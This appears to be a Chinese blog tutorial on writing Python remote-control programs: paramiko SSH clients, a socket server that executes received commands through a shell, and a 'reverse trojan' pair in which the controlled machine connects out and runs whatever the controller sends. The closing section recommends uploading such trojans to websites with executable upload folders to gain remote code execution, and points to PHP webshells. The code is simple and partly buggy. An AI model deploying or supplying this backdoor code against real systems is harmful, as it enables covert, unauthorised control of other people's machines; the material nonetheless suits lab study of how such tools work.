• 用python编写远程控制程序


    1.前言

            远程控制是网络安全的一个极为重要的内容,无论是网络安全的维护者还是破坏者都会对此进行研究。维护者的目标是保证远程控制的安全,而破坏者的目标是希望能够凭借各种手段实现对目标设备的远程控制。

            本文主要研究三个内容。

    1.如何编写一个基于SSH的远程控制程序。

    2.如何编写一个socket实现的远程控制程序的服务端和客户端。

    3.如何编写一个socket实现的反向的远程控制程序(木马)。

    2.远程控制程序

    2.1 基于SSH的远程控制程序

            实现SSH需要服务端和客户端软件协同工作,其中服务端软件以一个守护进程的方式运行在被控制设备上,它在后台运行并响应来自客户端的请求。当网络管理人员试图使用客户端软件连接到服务端的时候,首先需要通过服务端的安全认证,SSH中提供两种级别的安全认证。

    1.基于口令的安全认证

    传统的“账号+密码”方式。

    2.基于秘钥的安全认证

            使用一对公私秘钥。其中服务端和客户端都要使用公钥,而私钥由客户端单独保存。当客户端试图连接服务端时,首先要向服务端提供公钥;当服务端收到请求之后,会对公钥进行验证,如果和自己保存的一致,就会用公钥加密一个“challenge”,并把它发送给客户端;客户端收到“challenge”后会使用自己的私钥对其进行解密再将其发送给服务器端完成认证。整个过程需要进行加密解密,花费的时间要多于基于口令的认证机制。

    使用paramiko实现基于口令登录的客户端控制程序。

    2.1.1 安装paramiko

    使用pip安装paramiko的命令是

    pip3 install paramiko

    安装时反复遇到

    1. C:\Users\zhangyy>pip3 install paramiko
    2. Collecting paramiko
    3. Using cached paramiko-2.12.0-py2.py3-none-any.whl (213 kB)
    4. Collecting cryptography>=2.5
    5. Downloading cryptography-38.0.4-cp36-abi3-win_amd64.whl (2.4 MB)
    6. ━━━━━━━━━━━━━━━╺━━━━━━━━━━━━━━━━━━━━━━━━ 0.9/2.4 MB 13.2 kB/s eta 0:01:53
    7. ERROR: Exception:

    错误的话,可以先安装出错的cryptography模块

    1. C:\Users\zhangyy>pip install cryptography
    2. Collecting cryptography
    3. Downloading cryptography-38.0.4-cp36-abi3-win_amd64.whl (2.4 MB)
    4. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 2.4/2.4 MB 34.7 kB/s eta 0:00:00
    5. Collecting cffi>=1.12
    6. Downloading cffi-1.15.1-cp39-cp39-win_amd64.whl (179 kB)
    7. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 179.1/179.1 kB 24.0 kB/s eta 0:00:00
    8. Collecting pycparser
    9. Downloading pycparser-2.21-py2.py3-none-any.whl (118 kB)
    10. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 118.7/118.7 kB 23.9 kB/s eta 0:00:00
    11. Installing collected packages: pycparser, cffi, cryptography
    12. Successfully installed cffi-1.15.1 cryptography-38.0.4 pycparser-2.21

    之后才安装成功

    1. C:\Users\zhangyy>pip3 install paramiko
    2. Collecting paramiko
    3. Using cached paramiko-2.12.0-py2.py3-none-any.whl (213 kB)
    4. Collecting pynacl>=1.0.1
    5. Using cached PyNaCl-1.5.0-cp36-abi3-win_amd64.whl (212 kB)
    6. Requirement already satisfied: cryptography>=2.5 in d:\users\zhangyy\appdata\local\programs\python\python39\lib\site-packages (from paramiko) (38.0.4)
    7. Collecting six
    8. Using cached six-1.16.0-py2.py3-none-any.whl (11 kB)
    9. Collecting bcrypt>=3.1.3
    10. Using cached bcrypt-4.0.1-cp36-abi3-win_amd64.whl (152 kB)
    11. Requirement already satisfied: cffi>=1.12 in d:\users\zhangyy\appdata\local\programs\python\python39\lib\site-packages (from cryptography>=2.5->paramiko) (1.15.1)
    12. Requirement already satisfied: pycparser in d:\users\zhangyy\appdata\local\programs\python\python39\lib\site-packages (from cffi>=1.12->cryptography>=2.5->paramiko) (2.21)
    13. Installing collected packages: six, bcrypt, pynacl, paramiko
    14. Successfully installed bcrypt-4.0.1 paramiko-2.12.0 pynacl-1.5.0 six-1.16.0

    2.1.2 基于口令登录的客户端控制程序

    配置kali-linux的IP地址(仅仅测试用,所以用命令配置的是临时IP):

    1. ┌──(root㉿kali)-[/home/kali]
    2. └─# ifconfig eth0 192.168.1.11 netmask 255.255.255.0
    3. ┌──(root㉿kali)-[/home/kali]
    4. └─# ifconfig
    5. eth0: flags=4163 mtu 1500
    6. inet 192.168.1.11 netmask 255.255.255.0 broadcast 192.168.1.255
    7. inet6 fe80::7824:f37c:14bf:b43f prefixlen 64 scopeid 0x20
    8. ether 08:00:27:22:46:4f txqueuelen 1000 (Ethernet)
    9. RX packets 1 bytes 590 (590.0 B)
    10. RX errors 0 dropped 0 overruns 0 frame 0
    11. TX packets 27 bytes 3344 (3.2 KiB)
    12. TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
    13. lo: flags=73 mtu 65536
    14. inet 127.0.0.1 netmask 255.0.0.0
    15. inet6 ::1 prefixlen 128 scopeid 0x10
    16. loop txqueuelen 1000 (Local Loopback)
    17. RX packets 4 bytes 240 (240.0 B)
    18. RX errors 0 dropped 0 overruns 0 frame 0
    19. TX packets 4 bytes 240 (240.0 B)
    20. TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

    检查服务端SSH状态:

    1. ┌──(root㉿kali)-[/home/kali]
    2. └─# /etc/init.d/ssh status
    3. ○ ssh.service - OpenBSD Secure Shell server
    4. Loaded: loaded (/lib/systemd/system/ssh.service; disabled; vendor preset: disabled)
    5. Active: inactive (dead)
    6. Docs: man:sshd(8)
    7. man:sshd_config(5)

    发现ssh服务处于disabled状态。

    修改 /etc/ssh/sshd_config 文件的密码配置行,如下:

    1. ┌──(root㉿kali)-[/home/kali]
    2. └─# cat /etc/ssh/sshd_config | grep PasswordAuthentication
    3. PasswordAuthentication yes

    添加

    1. Port 22
    2. ListenAddress 192.168.1.11
    3. PermitRootLogin yes

    启动SSH服务:

    1. ┌──(root㉿kali)-[/home/kali]
    2. └─# /etc/init.d/ssh start
    3. Starting ssh (via systemctl): ssh.service.

    客户端代码:

    1. import paramiko
    2. # 创建SSH对象
    3. client = paramiko.SSHClient()
    4. # 允许连接不在know_hosts文件中的主机
    5. client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    6. # 连接服务器
    7. client.connect('192.168.1.11', 22, 'kali', 'kali')
    8. stdin, stdout, stderr = client.exec_command('whoami')
    9. # 获取命令结果
    10. print(stdout.read())

    执行结果

    1. ┌──(zyy㉿kali)-[~/pythontest]
    2. └─$ python sshtest.py
    3. b'kali\n'

    此时网络连接信息

    1. ┌──(zyy㉿kali)-[~/pythontest]
    2. └─$ netstat -an | grep 192.168.1.11
    3. tcp 0 0 192.168.1.11:22 0.0.0.0:* LISTEN
    4. tcp 0 0 192.168.1.11:59792 192.168.1.11:22 TIME_WAIT

    2.1.3基于秘钥登录的客户端控制程序

    要实现秘钥登录,首先要生成密钥对,密钥对可以在kali-Linux里生成。

    1. ┌──(root㉿kali)-[/home/kali]
    2. └─# ssh-keygen -t rsa
    3. Generating public/private rsa key pair.
    4. Enter file in which to save the key (/root/.ssh/id_rsa):
    5. Enter passphrase (empty for no passphrase):
    6. Enter same passphrase again:
    7. Your identification has been saved in /root/.ssh/id_rsa
    8. Your public key has been saved in /root/.ssh/id_rsa.pub
    9. The key fingerprint is:
    10. SHA256:eNP6a7mVBhR8qbUJ4WpNMlDWS8Ue+NsFddmwggexUE0 root@kali
    11. The key's randomart image is:
    12. +---[RSA 3072]----+
    13. | ..++*OE..o=|
    14. | o o*=B .oo|
    15. | o.*Oo+.. |
    16. | . Oo.=. .|
    17. | . S + o . |
    18. | o o .... |
    19. | . .+ |
    20. | .oo |
    21. | .+o |
    22. +----[SHA256]-----+
    23. ┌──(root㉿kali)-[/home/kali]
    24. └─# cd ../../root/.ssh
    25. ┌──(root㉿kali)-[~/.ssh]
    26. └─# ls
    27. id_rsa id_rsa.pub known_hosts known_hosts.old

    不难看出,公钥存放在id_rsa.pub,私钥存放在id_rsa里。

    把本机公钥添加到服务器文件~/.ssh/authorized_keys末尾,如果没有该文件,就使用touch创建一个。

    1. ┌──(root㉿kali)-[~]
    2. └─# touch ~/.ssh/authorized_keys
    3. ┌──(root㉿kali)-[/]
    4. └─# cd ~/.ssh
    5. ┌──(root㉿kali)-[~/.ssh]
    6. └─# ls
    7. authorized_keys id_rsa id_rsa.pub known_hosts known_hosts.old
    8. ┌──(root㉿kali)-[~/.ssh]
    9. └─# cat id_rsa.pub > authorized_keys

    私钥的目录在 /root/.ssh/id_rsa,我们可以把私钥拷贝到任何地方(我是拷贝到/home/zyy/pythontest/.ssh/id_rsa),然后执行以下python代码完成SSH登录:

    1. #!/usr/bin/env python3
    2. import paramiko
    3. key = paramiko.RSAKey.from_private_key_file("/home/zyy/pythontest/.ssh/id_rsa")
    4. ssh = paramiko.SSHClient()
    5. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    6. print("connecting")
    7. ssh.connect(hostname="192.168.1.11", username="root", pkey=key)
    8. print("connected")
    9. commands = "uname -a"
    10. stdin, stdout, stderr = ssh.exec_command(commands)
    11. stdin.close()
    12. res, err = stdout.read(), stderr.read()
    13. result = res if res else err
    14. print(result)
    15. ssh.close()

    执行结果:

    1. ┌──(zyy㉿kali)-[~/pythontest]
    2. └─$ python sshtest1.py
    3. connecting
    4. connected
    5. b'Linux kali 5.18.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6 (2022-07-07) x86_64 GNU/Linux\n'

    从执行打印看,执行成功。

    2.2 编写一个socket实现的远程控制程序的服务端和客户端

    socket是网络编程的基本知识。我们希望在客户端得到一个持续控制的命令行,需要再客户端和服务端各自加入一个循环,这样一来程序中出现了循环的嵌套,变得十分复杂。一个好的方法是使用一个专门用来处理网络通信的模块socketserver。socketserver模块是标准库中的一个高级模块,它可以简化客户端跟服务端的程序。

    创建和使用socketserver模块的流程如下:

    1. 创建一个请求处理的类,这个类要继承BaseRequestHandler类,并且要重写父类里的handle()方法。

    2.使用IP地址、端口和第一步创建的类来实例化TCPServer。

    3.使用server.server_forever()函数处理多个请求,持续循环运行。

    4. 关闭连接server_close()函数。

    使用socketserver模块编写服务端程序如下:

    1. import socketserver
    2. import subprocess
    3. class MyTCPHandler(socketserver.BaseRequestHandler):
    4. def handle(self):
    5. try:
    6. while True:
    7. self.data = self.request.recv(1024)
    8. print(self.data)
    9. print("{} send:".format(self.client_address), self.data)
    10. command = self.data.decode()
    11. command = command.rstrip()
    12. child = subprocess.run(command, shell=True)
    13. if not self.data:
    14. print("connection lost")
    15. break
    16. self.request.sendall(self.data.uppper())
    17. except Exception as e:
    18. print(self.client_address, "连接断开")
    19. finally:
    20. self.request.close()
    21. def setup(self):
    22. print("before handle,连接建立:", self.client_address)
    23. def finish(self):
    24. print("finish run after handle")
    25. if __name__ == "__main__":
    26. HOST, PORT = "localhost", 9998
    27. server = socketserver.TCPServer((HOST, PORT), MyTCPHandler)
    28. server.serve_forever()

    使用socketserver模块编写客户端程序如下:

    1. import socket
    2. client = socket.socket()
    3. client.connect(('localhost', 9998))
    4. while True:
    5. cmd = input("(quit退出>>").strip()
    6. if len(cmd) == 0:
    7. continue
    8. if cmd == "quit":
    9. break
    10. client.send(cmd.encode())
    11. cmd_res = client.recv(1024)
    12. print(cmd_res.decode())
    13. client.close()

    自测结果:

    客户端可以多次发送请求,服务端也能同时处理多个连接。即使某个连接报错了,服务端也会持续运行,与其他客户通信。

    2.3编写一个socket实现的反向的远程控制程序(木马)

    木马是黑客喜欢的攻击手段。木马同时需要服务端和客户端,服务端一般会在拥有者不知情的情况下载设备上运行。对于一个木马来说,至少需要具备以下两个功能:

    1.服务端能够对设备进行控制

    2.客户端能够向服务端传达命令

    逆向木马主控端

    1. import socketserver
    2. class MyTCPHandler(socketserver.BaseRequestHandler):
    3. def handle(self):
    4. try:
    5. while True:
    6. self.data=self.request.recv(1024)
    7. #print("{} send:".format(self.client_address),self.data)
    8. cmd = input("(quit退出>>").strip()
    9. if len(cmd) == 0:
    10. continue
    11. if cmd == "quit":
    12. break
    13. if not self.data:
    14. print("connection lost")
    15. break
    16. self.request.sendall(cmd.encode())
    17. except Exception as e:
    18. print(self.client_address,"连接断开")
    19. finally:
    20. self.request.close()
    21. def setup(self):
    22. print("before handle,连接建立:",self.client_address)
    23. def finish(self):
    24. print("finish run after handle")
    25. if __name__=="__main__":
    26. HOST,PORT = "localhost",9999
    27. server=socketserver.TCPServer((HOST,PORT),MyTCPHandler)
    28. server.serve_forever()

    逆向木马被控端

    1. import subprocess
    2. import socket
    3. def run_command(command):
    4. command = command.rstrip()
    5. print(command)
    6. try:
    7. child = subprocess.run(command, shell=True)
    8. except:
    9. child = 'Can not execute the command.\r\n'
    10. return child
    11. client = socket.socket()
    12. client.connect(('localhost', 9999))
    13. while True:
    14. Message = "welcome"
    15. client.send(Message.encode())
    16. data = client.recv(1024)
    17. print(data.decode())
    18. output = run_command(data.decode())
    19. client.close()

    依次执行逆向木马主控端,逆向木马被控端,可以看到两者成功建立连接,然后在 逆向木马主控端的执行窗口中输入

    1. C:\Users\zhangyy\PycharmProjects\SSHtest\venv\Scripts\python.exe C:\Users\zhangyy\PycharmProjects\SSHtest\mainserver.py
    2. before handle,连接建立: ('127.0.0.1', 59637)
    3. (quit退出>>dir

    可以看到逆向木马被控端 的执行窗口输出了执行结果

    1. C:\Users\zhangyy\PycharmProjects\SSHtest\venv\Scripts\python.exe C:\Users\zhangyy\PycharmProjects\SSHtest\mainclient.py
    2. dir
    3. dir
    4. ������ C �еľ��� Windows
    5. �������� CED9-5EA5
    6. C:\Users\zhangyy\PycharmProjects\SSHtest ��Ŀ¼
    7. 2022/12/03 21:02 .
    8. 2022/12/02 20:25 ..
    9. 2022/12/03 20:59 .idea
    10. 2022/12/03 19:31 496 main.py
    11. 2022/12/03 21:02 516 mainclient.py
    12. 2022/12/03 21:02 1,072 mainserver.py
    13. 2022/12/02 20:25 venv
    14. 3 ���ļ� 2,084 �ֽ�
    15. 4 ��Ŀ¼ 66,789,502,976 �����ֽ�

    3. 总结

            远程控制是网络安全的一个极为重要的内容, 之前在渗透测试的过程中,多次发现某些网站上传文件具有可执行权限,在这种情况下,可以尝试上传反向连接的木马,可以起到“远程代码执行”的效果。

    附:

    PHP小马、大马也是非常常见的用于反向连接的木马

    PHP小马,大马实现分析编写_OceanSec的博客-CSDN博客_php大马怎么写

  • 相关阅读:
    hive指定字段插入数据,包含了分区表和非分区表
    报错分析nest--嵌套
    stm32 HSUSB
    HARDVS: Revisiting Human Activity Recognition with Dynamic Vision Sensors
    企业怎样做好工厂生产人员管理?
    vr模拟电力场景安全应急培训,电力安全教育培训新方法
    云服务器怎样选购?
    汽车屏类产品(四):仪表Cluster
    NPDP怎么报名?考试难度大吗?
    day19 爬虫和前端
  • 原文地址:https://blog.csdn.net/qq_33163046/article/details/128153815